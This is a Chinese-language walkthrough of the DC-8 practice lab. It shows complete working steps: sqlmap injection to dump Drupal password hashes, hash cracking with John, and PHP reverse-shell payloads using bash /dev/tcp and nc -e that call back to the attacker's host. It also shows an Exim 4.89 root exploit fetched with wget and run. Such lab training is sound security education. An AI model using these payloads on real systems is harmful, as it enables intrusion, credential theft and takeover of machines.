Vulhub 靶场训练,DC-8解析
字数 1277 2025-08-18 11:36:48
Vulhub 靶场训练:DC-8 渗透测试解析
一、环境搭建
网络配置
- Kali Linux IP: 192.168.200.14
- DC-8 靶机 IP: 192.168.200.13 (包含第一个flag)
- 网络模式: NAT或桥接模式
兼容性问题解决
- 若VMware Workstation出现开机错误,可尝试降低DC-8的兼容版本
- 例如:从17.x版本改为16.x版本
二、信息收集阶段
1. 扫描同网段存活主机
方法一:使用arp-scan
arp-scan -l
方法二:使用netdiscover
netdiscover -r 192.168.200.0/24
2. 开放端口探测
nmap -sV -p- 192.168.200.13
发现开放端口:
- 22端口:SSH服务
- 80端口:HTTP服务
3. 目录扫描
- 检查robots.txt文件
- 注意:大多数禁止爬取的文件可能无法访问
三、漏洞探测
Web应用分析
- 使用Drupal CMS,版本为7(不同于DC-8的Drupal 8)
- 发现三个不同URL:
http://192.168.200.13/?nid=1 http://192.168.200.13/?nid=2 http://192.168.200.13/?nid=3 - 可能存在文件包含和SQL注入漏洞
SQL注入利用(使用SQLMap)
- 扫描数据库:
sqlmap -u "http://192.168.200.13/?nid=1" --dbs --batch
- 查询数据表名:
sqlmap -u "http://192.168.200.13/?nid=1" -D d7db --tables --batch
- 查询字段名:
sqlmap -u "http://192.168.200.13/?nid=1" -D d7db -T users --columns --batch
- 查询字段值:
sqlmap -u "http://192.168.200.13/?nid=1" -D d7db -T users -C name,pass --dump
获取的凭证:
- 账号: admin
密码:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z - 账号: john
密码:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
四、漏洞利用
1. 密码破解
- Drupal使用特殊加密的hash密文
- 使用John the Ripper进行爆破:
vim password.txt # 将hash保存到文件
john password.txt
- 破解结果:密码为"turtle"
2. Web后台登录
- 使用john/turtle凭证成功登录后台
- 尝试上传一句话木马失败
3. PHP反弹shell
尝试多种PHP反弹shell方法:
方法一:
<?php system("bash -i > /dev/tcp/192.168.200.14/8899 0>&1");?>
方法二:
<?php system("bash -c 'sh -i &>/dev/tcp/192.168.200.14/8899 0>&1'");?>
方法三:
<?php exec("nc -e /bin/bash 192.168.200.14 8899");?>
执行步骤:
- 在表单提交处勾选"Confirmation page"
- 填写任意联系表单
- 点击发送触发PHP代码
- 成功获取反弹shell
4. 权限提升
步骤一:查找SUID权限文件
find / -perm -4000 -print 2>/dev/null
发现Exim版本为4.89
步骤二:搜索并利用EXP
- 在Kali中查找相关EXP:
searchsploit exim 4.89
- 复制EXP到桌面:
cp /usr/share/exploitdb/exploits/linux/local/46996.sh shell.sh
- 启动HTTP服务:
python -m http.server 8899
步骤三:在靶机下载并执行EXP
- 下载EXP:
wget http://192.168.200.14:8899/shell.sh
- 赋予执行权限:
chmod 777 shell.sh
- 执行EXP:
./shell.sh
- 若第一次执行失败,尝试使用脚本提供的其他参数
步骤四:验证提权
whoami
成功显示root权限
5. 获取最终flag
进入root目录查看flag文件
关键点总结
- SQL注入:通过nid参数发现注入点,使用SQLMap自动化工具获取数据库信息
- 密码破解:识别Drupal特有的hash格式,使用John破解
- Web后台利用:通过合法凭证进入后台,寻找代码执行点
- 反弹shell:多种PHP代码执行方式,确保可靠性
- 权限提升:通过查找SUID文件和已知漏洞的Exim服务完成提权
防御建议
- 及时更新CMS系统和插件
- 对用户输入进行严格过滤
- 使用强密码策略
- 限制SUID权限文件
- 保持服务软件最新版本